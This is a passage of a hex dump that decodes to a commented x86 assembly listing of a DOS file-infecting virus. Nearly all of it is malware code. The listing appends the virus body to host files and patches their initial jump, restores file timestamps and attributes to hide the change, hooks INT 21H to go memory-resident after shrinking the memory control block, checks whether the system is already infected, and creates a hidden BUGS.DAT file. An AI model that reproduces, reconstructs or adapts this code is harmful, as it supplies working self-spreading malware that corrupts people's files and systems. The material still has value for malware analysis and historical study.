|00003fd0| 6e 20 68 61 6e 64 6c 65 | 20 28 52 2f 57 29 20 66 |n handle| (R/W) f|
|00003fe0| 75 6e 63 74 69 6f 6e 0a | 09 49 4e 54 09 32 31 48 |unction.|.INT.21H|
|00003ff0| 09 09 09 3b 20 44 4f 53 | 20 73 65 72 76 69 63 65 |...; DOS| service|
|00004000| 0a 09 4a 4e 42 09 42 50 | 30 35 35 37 09 09 09 3b |..JNB.BP|0557...;|
|00004010| 20 42 72 61 6e 63 68 20 | 69 66 20 6e 6f 20 65 72 | Branch |if no er|
|00004020| 72 6f 72 0a 09 4a 4d 50 | 09 42 50 30 34 41 31 0a |ror..JMP|.BP04A1.|
|00004030| 0a 42 50 30 35 35 37 3a | 09 50 55 53 48 09 43 53 |.BP0557:|.PUSH.CS|
|00004040| 09 09 09 3b 20 5c 20 53 | 65 74 20 44 53 20 74 6f |...; \ S|et DS to|
|00004050| 20 43 53 0a 09 50 4f 50 | 09 44 53 09 09 09 3b 20 | CS..POP|.DS...; |
|00004060| 2f 0a 09 4d 4f 56 09 42 | 58 2c 41 58 09 09 09 3b |/..MOV.B|X,AX...;|
|00004070| 20 4d 6f 76 65 20 68 61 | 6e 64 6c 65 0a 09 4d 4f | Move ha|ndle..MO|
|00004080| 56 09 41 58 2c 34 32 30 | 32 48 09 09 3b 20 4d 6f |V.AX,420|2H..; Mo|
|00004090| 76 65 20 66 69 6c 65 20 | 70 6f 69 6e 74 65 72 20 |ve file |pointer |
|000040a0| 28 45 4f 46 29 20 66 75 | 6e 63 74 69 6f 6e 0a 09 |(EOF) fu|nction..|
|000040b0| 58 4f 52 09 43 58 2c 43 | 58 09 09 09 3b 20 5c 20 |XOR.CX,C|X...; \ |
|000040c0| 4e 6f 20 6f 66 66 73 65 | 74 0a 09 58 4f 52 09 44 |No offse|t..XOR.D|
|000040d0| 58 2c 44 58 09 09 09 3b | 20 2f 0a 09 49 4e 54 09 |X,DX...;| /..INT.|
|000040e0| 32 31 48 09 09 09 3b 20 | 44 4f 53 20 73 65 72 76 |21H...; |DOS serv|
|000040f0| 69 63 65 0a 09 41 44 44 | 09 41 58 2c 4f 46 46 53 |ice..ADD|.AX,OFFS|
|00004100| 45 54 20 53 54 41 52 54 | 2d 33 09 3b 20 41 64 64 |ET START|-3.; Add|
|00004110| 20 65 6e 74 72 79 20 70 | 6f 69 6e 74 20 6f 66 66 | entry p|oint off|
|00004120| 73 65 74 0a 09 4e 4f 50 | 0a 09 4d 4f 56 09 5b 44 |set..NOP|..MOV.[D|
|00004130| 49 2b 33 5d 2c 41 58 09 | 09 3b 20 53 74 6f 72 65 |I+3],AX.|.; Store|
|00004140| 20 69 6e 20 69 6e 69 74 | 69 61 6c 20 6a 75 6d 70 | in init|ial jump|
|00004150| 20 69 6e 73 74 72 75 63 | 74 69 6f 6e 0a 09 58 4f | instruc|tion..XO|
|00004160| 52 09 44 58 2c 44 58 09 | 09 09 3b 20 41 64 64 72 |R.DX,DX.|..; Addr|
|00004170| 65 73 73 20 73 74 61 72 | 74 20 6f 66 20 76 69 72 |ess star|t of vir|
|00004180| 75 73 0a 09 4d 4f 56 09 | 41 48 2c 34 30 48 09 09 |us..MOV.|AH,40H..|
|00004190| 09 3b 20 57 72 69 74 65 | 20 68 61 6e 64 6c 65 20 |.; Write| handle |
|000041a0| 66 75 6e 63 74 69 6f 6e | 0a 09 4d 4f 56 09 43 58 |function|..MOV.CX|
|000041b0| 2c 4f 46 46 53 45 54 20 | 45 4e 44 41 44 52 09 3b |,OFFSET |ENDADR.;|
|000041c0| 20 4c 65 6e 67 74 68 20 | 6f 66 20 76 69 72 75 73 | Length |of virus|
|000041d0| 0a 09 4e 4f 50 0a 09 49 | 4e 54 09 32 31 48 09 09 |..NOP..I|NT.21H..|
|000041e0| 09 3b 20 44 4f 53 20 73 | 65 72 76 69 63 65 0a 09 |.; DOS s|ervice..|
|000041f0| 4d 4f 56 09 41 58 2c 34 | 32 30 30 48 09 09 3b 20 |MOV.AX,4|200H..; |
|00004200| 4d 6f 76 65 20 66 69 6c | 65 20 70 6f 69 6e 74 65 |Move fil|e pointe|
|00004210| 72 20 28 73 74 61 72 74 | 29 20 66 75 6e 63 74 69 |r (start|) functi|
|00004220| 6f 6e 0a 09 58 4f 52 09 | 43 58 2c 43 58 09 09 09 |on..XOR.|CX,CX...|
|00004230| 3b 20 5c 20 4e 6f 20 6f | 66 66 73 65 74 0a 09 58 |; \ No o|ffset..X|
|00004240| 4f 52 09 44 58 2c 44 58 | 09 09 09 3b 20 2f 0a 09 |OR.DX,DX|...; /..|
|00004250| 49 4e 54 09 32 31 48 09 | 09 09 3b 20 44 4f 53 20 |INT.21H.|..; DOS |
|00004260| 73 65 72 76 69 63 65 0a | 09 4d 4f 56 09 44 58 2c |service.|.MOV.DX,|
|00004270| 44 49 09 09 09 3b 20 5c | 20 41 64 64 72 65 73 73 |DI...; \| Address|
|00004280| 20 69 6e 69 74 69 61 6c | 20 6a 75 6d 70 20 69 6e | initial| jump in|
|00004290| 73 74 72 75 63 74 69 6f | 6e 0a 09 41 44 44 09 44 |structio|n..ADD.D|
|000042a0| 58 2c 32 09 09 09 3b 20 | 2f 0a 09 4d 4f 56 09 43 |X,2...; |/..MOV.C|
|000042b0| 58 2c 33 09 09 09 3b 20 | 4c 65 6e 67 74 68 20 6f |X,3...; |Length o|
|000042c0| 66 20 6a 75 6d 70 20 69 | 6e 73 74 72 75 63 74 69 |f jump i|nstructi|
|000042d0| 6f 6e 0a 09 4d 4f 56 09 | 41 48 2c 34 30 48 09 09 |on..MOV.|AH,40H..|
|000042e0| 09 3b 20 57 72 69 74 65 | 20 68 61 6e 64 6c 65 20 |.; Write| handle |
|000042f0| 66 75 6e 63 74 69 6f 6e | 0a 09 49 4e 54 09 32 31 |function|..INT.21|
|00004300| 48 09 09 09 3b 20 44 4f | 53 20 73 65 72 76 69 63 |H...; DO|S servic|
|00004310| 65 0a 42 50 30 35 38 41 | 3a 09 50 55 53 48 09 53 |e.BP058A|:.PUSH.S|
|00004320| 49 0a 09 43 41 4c 4c 09 | 42 50 30 35 38 45 09 09 |I..CALL.|BP058E..|
|00004330| 09 3b 20 5c 20 47 65 74 | 20 63 75 72 72 65 6e 74 |.; \ Get| current|
|00004340| 20 61 64 64 72 65 73 73 | 0a 42 50 30 35 38 45 3a | address|.BP058E:|
|00004350| 09 50 4f 50 09 53 49 09 | 09 09 3b 20 2f 0a 09 53 |.POP.SI.|..; /..S|
|00004360| 55 42 09 53 49 2c 4f 46 | 46 53 45 54 20 42 50 30 |UB.SI,OF|FSET BP0|
|00004370| 35 38 45 2d 44 57 30 33 | 38 37 09 3b 20 41 64 64 |58E-DW03|87.; Add|
|00004380| 72 65 73 73 20 66 69 6c | 65 20 64 61 74 65 0a 09 |ress fil|e date..|
|00004390| 4d 4f 56 09 44 58 2c 43 | 53 3a 5b 53 49 5d 09 09 |MOV.DX,C|S:[SI]..|
|000043a0| 3b 20 47 65 74 20 66 69 | 6c 65 20 64 61 74 65 0a |; Get fi|le date.|
|000043b0| 09 4d 4f 56 09 43 58 2c | 43 53 3a 5b 53 49 2b 32 |.MOV.CX,|CS:[SI+2|
|000043c0| 5d 09 09 3b 20 47 65 74 | 20 66 69 6c 65 20 74 69 |]..; Get| file ti|
|000043d0| 6d 65 0a 09 50 4f 50 09 | 53 49 0a 09 4d 4f 56 09 |me..POP.|SI..MOV.|
|000043e0| 41 58 2c 35 37 30 31 48 | 09 09 3b 20 53 65 74 20 |AX,5701H|..; Set |
|000043f0| 66 69 6c 65 20 64 61 74 | 65 20 26 20 74 69 6d 65 |file dat|e & time|
|00004400| 20 66 75 6e 63 74 69 6f | 6e 0a 09 49 4e 54 09 32 | functio|n..INT.2|
|00004410| 31 48 09 09 09 3b 20 44 | 4f 53 20 73 65 72 76 69 |1H...; D|OS servi|
|00004420| 63 65 0a 09 4d 4f 56 09 | 41 48 2c 33 45 48 09 09 |ce..MOV.|AH,3EH..|
|00004430| 09 3b 20 43 6c 6f 73 65 | 20 68 61 6e 64 6c 65 20 |.; Close| handle |
|00004440| 66 75 6e 63 74 69 6f 6e | 0a 09 49 4e 54 09 32 31 |function|..INT.21|
|00004450| 48 09 09 09 3b 20 44 4f | 53 20 73 65 72 76 69 63 |H...; DO|S servic|
|00004460| 65 0a 09 50 55 53 48 09 | 53 49 0a 09 50 55 53 48 |e..PUSH.|SI..PUSH|
|00004470| 09 43 58 0a 09 43 41 4c | 4c 09 42 50 30 35 41 39 |.CX..CAL|L.BP05A9|
|00004480| 09 09 09 3b 20 5c 20 47 | 65 74 20 63 75 72 72 65 |...; \ G|et curre|
|00004490| 6e 74 20 61 64 64 72 65 | 73 73 0a 42 50 30 35 41 |nt addre|ss.BP05A|
|000044a0| 39 3a 09 50 4f 50 09 53 | 49 09 09 09 3b 20 2f 0a |9:.POP.S|I...; /.|
|000044b0| 09 53 55 42 09 53 49 2c | 4f 46 46 53 45 54 20 42 |.SUB.SI,|OFFSET B|
|000044c0| 50 30 35 41 39 2d 44 57 | 30 33 38 42 09 3b 20 41 |P05A9-DW|038B.; A|
|000044d0| 64 64 72 65 73 73 20 66 | 69 6c 65 20 61 74 74 72 |ddress f|ile attr|
|000044e0| 69 62 75 74 65 73 0a 09 | 4d 4f 56 09 43 58 2c 43 |ibutes..|MOV.CX,C|
|000044f0| 53 3a 5b 53 49 5d 09 09 | 3b 20 47 65 74 20 66 69 |S:[SI]..|; Get fi|
|00004500| 6c 65 20 61 74 74 72 69 | 62 75 74 65 73 0a 09 4d |le attri|butes..M|
|00004510| 4f 56 09 44 53 2c 43 53 | 3a 5b 53 49 2b 32 5d 09 |OV.DS,CS|:[SI+2].|
|00004520| 09 3b 20 47 65 74 20 70 | 61 74 68 6e 61 6d 65 20 |.; Get p|athname |
|00004530| 6f 66 66 73 65 74 0a 09 | 4d 4f 56 09 44 58 2c 43 |offset..|MOV.DX,C|
|00004540| 53 3a 5b 53 49 2b 34 5d | 09 09 3b 20 47 65 74 20 |S:[SI+4]|..; Get |
|00004550| 70 61 74 68 6e 61 6d 65 | 20 73 65 67 6d 65 6e 74 |pathname| segment|
|00004560| 0a 09 4d 4f 56 09 41 58 | 2c 34 33 30 31 48 09 09 |..MOV.AX|,4301H..|
|00004570| 3b 20 53 65 74 20 66 69 | 6c 65 20 61 74 74 72 69 |; Set fi|le attri|
|00004580| 62 75 74 65 73 20 66 75 | 6e 63 74 69 6f 6e 0a 09 |butes fu|nction..|
|00004590| 49 4e 54 09 32 31 48 09 | 09 09 3b 20 44 4f 53 20 |INT.21H.|..; DOS |
|000045a0| 73 65 72 76 69 63 65 0a | 09 50 4f 50 09 43 58 0a |service.|.POP.CX.|
|000045b0| 09 50 4f 50 09 53 49 0a | 09 4a 4d 50 09 42 50 30 |.POP.SI.|.JMP.BP0|
|000045c0| 34 41 31 0a 0a 09 3b 20 | 43 61 6c 6c 20 44 4f 53 |4A1...; |Call DOS|
|000045d0| 20 73 65 72 76 69 63 65 | 0a 0a 42 50 30 35 43 33 | service|..BP05C3|
|000045e0| 3a 09 50 55 53 48 46 0a | 09 44 42 09 39 41 48 09 |:.PUSHF.|.DB.9AH.|
|000045f0| 09 09 3b 20 46 61 72 20 | 63 61 6c 6c 0a 44 57 30 |..; Far |call.DW0|
|00004600| 35 43 35 09 44 57 09 30 | 09 09 09 3b 20 49 6e 74 |5C5.DW.0|...; Int|
|00004610| 20 32 31 48 20 6f 66 66 | 73 65 74 0a 44 57 30 35 | 21H off|set.DW05|
|00004620| 43 37 09 44 57 09 30 09 | 09 09 3b 20 49 6e 74 20 |C7.DW.0.|..; Int |
|00004630| 32 31 48 20 73 65 67 6d | 65 6e 74 0a 09 52 45 54 |21H segm|ent..RET|
|00004640| 0a 0a 09 3b 20 49 6e 66 | 65 63 74 20 73 79 73 74 |...; Inf|ect syst|
|00004650| 65 6d 0a 0a 42 50 30 35 | 43 41 3a 09 50 55 53 48 |em..BP05|CA:.PUSH|
|00004660| 09 53 49 0a 09 43 41 4c | 4c 09 42 50 30 35 43 45 |.SI..CAL|L.BP05CE|
|00004670| 09 09 09 3b 20 5c 20 47 | 65 74 20 63 75 72 72 65 |...; \ G|et curre|
|00004680| 6e 74 20 61 64 64 72 65 | 73 73 0a 42 50 30 35 43 |nt addre|ss.BP05C|
|00004690| 45 3a 09 50 4f 50 09 53 | 49 09 09 09 3b 20 2f 0a |E:.POP.S|I...; /.|
|000046a0| 09 53 55 42 09 53 49 2c | 4f 46 46 53 45 54 20 42 |.SUB.SI,|OFFSET B|
|000046b0| 50 30 35 43 45 09 3b 20 | 52 65 6c 6f 63 61 74 65 |P05CE.; |Relocate|
|000046c0| 20 66 72 6f 6d 20 73 74 | 61 72 74 20 6f 66 20 76 | from st|art of v|
|000046d0| 69 72 75 73 0a 09 50 55 | 53 48 09 41 58 0a 09 50 |irus..PU|SH.AX..P|
|000046e0| 55 53 48 09 42 58 0a 09 | 50 55 53 48 09 43 58 0a |USH.BX..|PUSH.CX.|
|000046f0| 09 50 55 53 48 09 44 58 | 0a 09 50 55 53 48 09 44 |.PUSH.DX|..PUSH.D|
|00004700| 49 0a 09 50 55 53 48 09 | 44 53 0a 09 50 55 53 48 |I..PUSH.|DS..PUSH|
|00004710| 09 45 53 0a 09 4d 4f 56 | 09 41 58 2c 33 35 32 31 |.ES..MOV|.AX,3521|
|00004720| 48 09 09 3b 20 47 65 74 | 20 49 6e 74 20 32 31 48 |H..; Get| Int 21H|
|00004730| 20 66 75 6e 63 74 69 6f | 6e 0a 09 49 4e 54 09 32 | functio|n..INT.2|
|00004740| 31 48 09 09 09 3b 20 44 | 4f 53 20 73 65 72 76 69 |1H...; D|OS servi|
|00004750| 63 65 0a 09 4d 4f 56 09 | 43 53 3a 5b 53 49 2b 34 |ce..MOV.|CS:[SI+4|
|00004760| 36 48 5d 2c 42 58 09 09 | 3b 20 5c 20 49 6e 73 74 |6H],BX..|; \ Inst|
|00004770| 61 6c 6c 20 76 65 63 74 | 6f 72 20 69 6e 20 6a 75 |all vect|or in ju|
|00004780| 6d 70 0a 09 4d 4f 56 09 | 43 53 3a 5b 53 49 2b 34 |mp..MOV.|CS:[SI+4|
|00004790| 38 48 5d 2c 45 53 09 09 | 3b 20 2f 0a 09 4d 4f 56 |8H],ES..|; /..MOV|
|000047a0| 09 43 53 3a 44 57 30 35 | 43 35 5b 53 49 5d 2c 42 |.CS:DW05|C5[SI],B|
|000047b0| 58 09 3b 20 5c 20 49 6e | 73 74 61 6c 6c 20 76 65 |X.; \ In|stall ve|
|000047c0| 63 74 6f 72 20 69 6e 20 | 63 61 6c 6c 0a 09 4d 4f |ctor in |call..MO|
|000047d0| 56 09 43 53 3a 44 57 30 | 35 43 37 5b 53 49 5d 2c |V.CS:DW0|5C7[SI],|
|000047e0| 45 53 09 3b 20 2f 0a 09 | 50 55 53 48 09 43 53 09 |ES.; /..|PUSH.CS.|
|000047f0| 09 09 3b 20 5c 20 47 65 | 74 20 63 75 72 72 65 6e |..; \ Ge|t curren|
|00004800| 74 20 73 65 67 6d 65 6e | 74 0a 09 50 4f 50 09 41 |t segmen|t..POP.A|
|00004810| 58 09 09 09 3b 20 2f 0a | 09 44 45 43 09 41 58 09 |X...; /.|.DEC.AX.|
|00004820| 09 09 3b 20 5c 20 41 64 | 64 72 65 73 73 20 4d 43 |..; \ Ad|dress MC|
|00004830| 42 0a 09 4d 4f 56 09 44 | 53 2c 41 58 09 09 09 3b |B..MOV.D|S,AX...;|
|00004840| 20 2f 0a 09 41 53 53 55 | 4d 45 09 44 53 3a 4d 43 | /..ASSU|ME.DS:MC|
|00004850| 42 0a 09 4d 4f 56 09 44 | 58 2c 4d 45 4d 53 49 5a |B..MOV.D|X,MEMSIZ|
|00004860| 45 09 09 3b 20 47 65 74 | 20 6d 65 6d 6f 72 79 20 |E..; Get| memory |
|00004870| 62 6c 6f 63 6b 20 6c 65 | 6e 67 74 68 0a 09 53 55 |block le|ngth..SU|
|00004880| 42 09 44 58 2c 30 30 37 | 34 48 09 09 3b 20 5c 20 |B.DX,007|4H..; \ |
|00004890| 53 75 62 74 72 61 63 74 | 20 76 69 72 75 73 20 6c |Subtract| virus l|
|000048a0| 65 6e 67 74 68 0a 09 6e | 6f 70 0a 09 44 45 43 09 |ength..n|op..DEC.|
|000048b0| 44 58 09 09 09 3b 20 2f | 0a 09 4d 4f 56 09 4d 45 |DX...; /|..MOV.ME|
|000048c0| 4d 53 49 5a 45 2c 44 58 | 09 09 3b 20 52 65 70 6c |MSIZE,DX|..; Repl|
|000048d0| 61 63 65 20 6e 65 77 20 | 6c 65 6e 67 74 68 0a 09 |ace new |length..|
|000048e0| 41 53 53 55 4d 45 09 44 | 53 3a 4e 4f 54 48 49 4e |ASSUME.D|S:NOTHIN|
|000048f0| 47 0a 09 50 55 53 48 09 | 43 53 09 09 09 3b 20 5c |G..PUSH.|CS...; \|
|00004900| 20 47 65 74 20 63 75 72 | 72 65 6e 74 20 73 65 67 | Get cur|rent seg|
|00004910| 6d 65 6e 74 0a 09 50 4f | 50 09 41 58 09 09 09 3b |ment..PO|P.AX...;|
|00004920| 20 2f 0a 09 41 44 44 09 | 44 58 2c 41 58 09 09 09 | /..ADD.|DX,AX...|
|00004930| 3b 20 5c 20 41 64 64 72 | 65 73 73 20 66 72 65 65 |; \ Addr|ess free|
|00004940| 20 73 70 61 63 65 0a 09 | 4d 4f 56 09 44 53 2c 44 | space..|MOV.DS,D|
|00004950| 58 09 09 09 3b 20 2f 0a | 09 4d 4f 56 09 44 49 2c |X...; /.|.MOV.DI,|
|00004960| 30 09 09 09 3b 20 53 74 | 61 72 74 20 6f 66 20 66 |0...; St|art of f|
|00004970| 72 65 65 20 73 70 61 63 | 65 0a 09 4d 4f 56 09 43 |ree spac|e..MOV.C|
|00004980| 58 2c 4f 46 46 53 45 54 | 20 45 4e 44 41 44 52 09 |X,OFFSET| ENDADR.|
|00004990| 09 3b 20 4c 65 6e 67 74 | 68 20 6f 66 20 76 69 72 |.; Lengt|h of vir|
|000049a0| 75 73 0a 09 4e 4f 50 0a | 09 43 4c 49 0a 09 50 55 |us..NOP.|.CLI..PU|
|000049b0| 53 48 09 53 49 0a 42 50 | 30 36 31 32 3a 09 4d 4f |SH.SI.BP|0612:.MO|
|000049c0| 56 09 41 4c 2c 43 53 3a | 5b 53 49 5d 0a 09 4d 4f |V.AL,CS:|[SI]..MO|
|000049d0| 56 09 5b 44 49 5d 2c 41 | 4c 0a 09 49 4e 43 09 53 |V.[DI],A|L..INC.S|
|000049e0| 49 0a 09 49 4e 43 09 44 | 49 0a 09 4c 4f 4f 50 09 |I..INC.D|I..LOOP.|
|000049f0| 42 50 30 36 31 32 0a 09 | 50 4f 50 09 53 49 0a 09 |BP0612..|POP.SI..|
|00004a00| 4d 4f 56 09 44 53 2c 44 | 58 0a 09 4d 4f 56 09 44 |MOV.DS,D|X..MOV.D|
|00004a10| 58 2c 4f 46 46 53 45 54 | 20 42 50 30 30 30 30 0a |X,OFFSET| BP0000.|
|00004a20| 09 4d 4f 56 09 41 58 2c | 32 35 32 31 48 09 09 3b |.MOV.AX,|2521H..;|
|00004a30| 20 53 65 74 20 49 6e 74 | 20 32 31 48 20 66 75 6e | Set Int| 21H fun|
|00004a40| 63 74 69 6f 6e 0a 09 49 | 4e 54 09 32 31 48 09 09 |ction..I|NT.21H..|
|00004a50| 09 3b 20 44 4f 53 20 73 | 65 72 76 69 63 65 0a 09 |.; DOS s|ervice..|
|00004a60| 53 54 49 0a 09 50 4f 50 | 09 45 53 0a 09 50 4f 50 |STI..POP|.ES..POP|
|00004a70| 09 44 53 0a 09 50 4f 50 | 09 44 49 0a 09 50 4f 50 |.DS..POP|.DI..POP|
|00004a80| 09 44 58 0a 09 50 4f 50 | 09 43 58 0a 09 50 4f 50 |.DX..POP|.CX..POP|
|00004a90| 09 42 58 0a 09 50 4f 50 | 09 41 58 0a 09 4a 4d 50 |.BX..POP|.AX..JMP|
|00004aa0| 09 42 50 30 36 34 30 0a | 0a 44 42 30 36 33 30 09 |.BP0640.|.DB0630.|
|00004ab0| 44 42 09 30 45 35 48 2c | 20 30 45 35 48 0a 0a 09 |DB.0E5H,| 0E5H...|
|00004ac0| 3b 20 45 6e 74 72 79 20 | 70 6f 69 6e 74 0a 0a 53 |; Entry |point..S|
|00004ad0| 54 41 52 54 3a 09 50 55 | 53 48 09 41 58 0a 09 4d |TART:.PU|SH.AX..M|
|00004ae0| 4f 56 09 41 58 2c 30 46 | 42 30 41 48 09 09 3b 20 |OV.AX,0F|B0AH..; |
|00004af0| 49 6e 66 65 63 74 69 6f | 6e 20 74 65 73 74 20 66 |Infectio|n test f|
|00004b00| 75 6e 63 74 69 6f 6e 0a | 09 49 4e 54 09 32 31 48 |unction.|.INT.21H|
|00004b10| 09 09 09 3b 20 44 4f 53 | 20 73 65 72 76 69 63 65 |...; DOS| service|
|00004b20| 0a 09 43 4d 50 09 41 58 | 2c 30 41 46 42 48 09 09 |..CMP.AX|,0AFBH..|
|00004b30| 3b 20 49 73 20 73 79 73 | 74 65 6d 20 69 6e 66 65 |; Is sys|tem infe|
|00004b40| 63 74 65 64 3f 0a 09 4a | 45 09 42 50 30 36 34 30 |cted?..J|E.BP0640|
|00004b50| 09 09 09 3b 20 42 72 61 | 6e 63 68 20 69 66 20 79 |...; Bra|nch if y|
|00004b60| 65 73 0a 09 4a 4d 50 09 | 42 50 30 35 43 41 0a 0a |es..JMP.|BP05CA..|
|00004b70| 42 50 30 36 34 30 3a 09 | 50 55 53 48 09 53 49 0a |BP0640:.|PUSH.SI.|
|00004b80| 09 43 41 4c 4c 09 42 50 | 30 36 34 34 09 09 09 3b |.CALL.BP|0644...;|
|00004b90| 20 5c 20 47 65 74 20 63 | 75 72 72 65 6e 74 20 61 | \ Get c|urrent a|
|00004ba0| 64 64 72 65 73 73 0a 42 | 50 30 36 34 34 3a 09 50 |ddress.B|P0644:.P|
|00004bb0| 4f 50 09 53 49 09 09 09 | 3b 20 2f 0a 09 53 55 42 |OP.SI...|; /..SUB|
|00004bc0| 09 53 49 2c 4f 46 46 53 | 45 54 20 42 50 30 36 34 |.SI,OFFS|ET BP064|
|00004bd0| 34 2d 44 42 30 34 38 36 | 09 3b 20 41 64 64 72 65 |4-DB0486|.; Addre|
|00004be0| 73 73 20 73 74 61 72 74 | 20 6f 66 20 68 6f 73 74 |ss start| of host|
|00004bf0| 20 72 65 61 64 20 62 75 | 66 66 65 72 0a 09 50 55 | read bu|ffer..PU|
|00004c00| 53 48 09 42 58 0a 09 4d | 4f 56 09 42 58 2c 30 31 |SH.BX..M|OV.BX,01|
|00004c10| 30 30 48 09 09 3b 20 41 | 64 64 72 65 73 73 20 73 |00H..; A|ddress s|
|00004c20| 74 61 72 74 20 6f 66 20 | 68 6f 73 74 0a 09 4d 4f |tart of |host..MO|
|00004c30| 56 09 41 58 2c 43 53 3a | 5b 53 49 5d 09 09 3b 20 |V.AX,CS:|[SI]..; |
|00004c40| 5c 20 52 65 73 74 6f 72 | 65 20 73 74 61 72 74 20 |\ Restor|e start |
|00004c50| 6f 66 20 68 6f 73 74 20 | 28 31 29 0a 09 4d 4f 56 |of host |(1)..MOV|
|00004c60| 09 43 53 3a 5b 42 58 5d | 2c 41 58 09 09 3b 20 2f |.CS:[BX]|,AX..; /|
|00004c70| 0a 09 4d 4f 56 09 41 58 | 2c 43 53 3a 5b 53 49 2b |..MOV.AX|,CS:[SI+|
|00004c80| 32 5d 09 09 3b 20 5c 0a | 09 41 44 44 09 42 58 2c |2]..; \.|.ADD.BX,|
|00004c90| 32 09 09 09 3b 20 20 29 | 20 52 65 73 74 6f 72 65 |2...; )| Restore|
|00004ca0| 20 73 74 61 72 74 20 6f | 66 20 68 6f 73 74 20 28 | start o|f host (|
|00004cb0| 32 29 0a 09 4d 4f 56 09 | 43 53 3a 5b 42 58 5d 2c |2)..MOV.|CS:[BX],|
|00004cc0| 41 58 09 09 3b 20 2f 0a | 09 50 4f 50 09 42 58 0a |AX..; /.|.POP.BX.|
|00004cd0| 09 50 4f 50 09 53 49 0a | 09 50 4f 50 09 41 58 0a |.POP.SI.|.POP.AX.|
|00004ce0| 09 4d 4f 56 09 41 58 2c | 30 31 30 30 48 09 09 3b |.MOV.AX,|0100H..;|
|00004cf0| 20 5c 20 42 72 61 6e 63 | 68 20 74 6f 20 73 74 61 | \ Branc|h to sta|
|00004d00| 72 74 20 6f 66 20 68 6f | 73 74 0a 09 4a 4d 50 09 |rt of ho|st..JMP.|
|00004d10| 41 58 09 09 09 3b 20 2f | 0a 0a 09 3b 20 53 65 61 |AX...; /|...; Sea|
|00004d20| 72 63 68 20 42 55 47 2e | 44 41 54 20 66 69 6c 65 |rch BUG.|DAT file|
|00004d30| 20 66 6f 72 20 70 61 74 | 68 6e 61 6d 65 0a 0a 42 | for pat|hname..B|
|00004d40| 50 30 36 36 35 3a 09 50 | 55 53 48 09 41 58 0a 09 |P0665:.P|USH.AX..|
|00004d50| 50 55 53 48 09 42 58 0a | 09 50 55 53 48 09 43 58 |PUSH.BX.|.PUSH.CX|
|00004d60| 0a 09 50 55 53 48 09 44 | 58 0a 09 50 55 53 48 09 |..PUSH.D|X..PUSH.|
|00004d70| 53 49 0a 09 50 55 53 48 | 09 44 49 0a 09 50 55 53 |SI..PUSH|.DI..PUS|
|00004d80| 48 09 42 50 0a 09 50 55 | 53 48 09 44 53 0a 09 50 |H.BP..PU|SH.DS..P|
|00004d90| 55 53 48 09 45 53 0a 09 | 43 41 4c 4c 09 42 50 30 |USH.ES..|CALL.BP0|
|00004da0| 36 37 31 09 09 09 3b 20 | 5c 20 47 65 74 20 63 75 |671...; |\ Get cu|
|00004db0| 72 72 65 6e 74 20 61 64 | 64 72 65 73 73 0a 42 50 |rrent ad|dress.BP|
|00004dc0| 30 36 37 31 3a 09 50 4f | 50 09 42 50 09 09 09 3b |0671:.PO|P.BP...;|
|00004dd0| 20 2f 0a 09 53 55 42 09 | 42 50 2c 4f 46 46 53 45 | /..SUB.|BP,OFFSE|
|00004de0| 54 20 42 50 30 36 37 31 | 2d 44 42 30 30 35 33 09 |T BP0671|-DB0053.|
|00004df0| 3b 20 41 64 64 72 65 73 | 73 20 27 42 55 47 53 2e |; Addres|s 'BUGS.|
|00004e00| 44 41 54 27 20 70 61 74 | 68 6e 61 6d 65 0a 09 50 |DAT' pat|hname..P|
|00004e10| 55 53 48 09 44 53 09 09 | 09 3b 20 5c 20 53 65 74 |USH.DS..|.; \ Set|
|00004e20| 20 45 53 20 74 6f 20 44 | 53 0a 09 50 4f 50 09 45 | ES to D|S..POP.E|
|00004e30| 53 09 09 09 3b 20 2f 0a | 09 4d 4f 56 09 44 49 2c |S...; /.|.MOV.DI,|
|00004e40| 44 58 09 09 09 3b 20 43 | 6f 70 79 20 70 61 74 68 |DX...; C|opy path|
|00004e50| 6e 61 6d 65 20 70 6f 69 | 6e 74 65 72 0a 09 50 55 |name poi|nter..PU|
|00004e60| 53 48 09 43 53 09 09 09 | 3b 20 5c 20 53 65 74 20 |SH.CS...|; \ Set |
|00004e70| 44 53 20 74 6f 20 43 53 | 0a 09 50 4f 50 09 44 53 |DS to CS|..POP.DS|
|00004e80| 09 09 09 3b 20 2f 0a 09 | 4d 4f 56 09 44 58 2c 42 |...; /..|MOV.DX,B|
|00004e90| 50 09 09 09 3b 20 4d 6f | 76 65 20 70 61 74 68 6e |P...; Mo|ve pathn|
|00004ea0| 61 6d 65 20 61 64 64 72 | 65 73 73 0a 09 4d 4f 56 |ame addr|ess..MOV|
|00004eb0| 09 41 58 2c 33 44 30 30 | 48 09 09 3b 20 4f 70 65 |.AX,3D00|H..; Ope|
|00004ec0| 6e 20 68 61 6e 64 6c 65 | 20 28 72 65 61 64 29 20 |n handle| (read) |
|00004ed0| 66 75 6e 63 74 69 6f 6e | 0a 09 50 55 53 48 09 44 |function|..PUSH.D|
|00004ee0| 49 0a 09 4d 4f 56 09 44 | 49 2c 30 46 42 30 41 48 |I..MOV.D|I,0FB0AH|
|00004ef0| 09 09 3b 20 41 6c 6c 6f | 77 20 66 72 65 65 20 70 |..; Allo|w free p|
|00004f00| 61 73 73 61 67 65 20 74 | 6f 20 44 4f 53 0a 09 49 |assage t|o DOS..I|
|00004f10| 4e 54 09 32 31 48 09 09 | 09 3b 20 44 4f 53 20 73 |NT.21H..|.; DOS s|
|00004f20| 65 72 76 69 63 65 0a 09 | 4a 4e 42 09 42 50 30 36 |ervice..|JNB.BP06|
|00004f30| 39 37 09 09 09 3b 20 42 | 72 61 6e 63 68 20 69 66 |97...; B|ranch if|
|00004f40| 20 6e 6f 20 65 72 72 6f | 72 0a 09 4d 4f 56 09 41 | no erro|r..MOV.A|
|00004f50| 48 2c 33 43 48 09 09 09 | 3b 20 43 72 65 61 74 65 |H,3CH...|; Create|
|00004f60| 20 68 61 6e 64 6c 65 20 | 66 75 6e 63 74 69 6f 6e | handle |function|
|00004f70| 0a 09 4d 4f 56 09 43 58 | 2c 32 09 09 09 3b 20 48 |..MOV.CX|,2...; H|
|00004f80| 69 64 64 65 6e 20 66 69 | 6c 65 0a 09 49 4e 54 09 |idden fi|le..INT.|
|00004f90| 32 31 48 09 09 09 3b 20 | 44 4f 53 20 73 65 72 76 |21H...; |DOS serv|
|00004fa0| 69 63 65 0a 09 4a 4e 42 | 09 42 50 30 36 39 37 09 |ice..JNB|.BP0697.|
|00004fb0| 09 09 3b 20 42 72 61 6e | 63 68 20 69 66 20 6e 6f |..; Bran|ch if no|
|00004fc0| 20 65 72 72 6f 72 0a 42 | 50 30 36 39 32 3a 09 50 | error.B|P0692:.P|
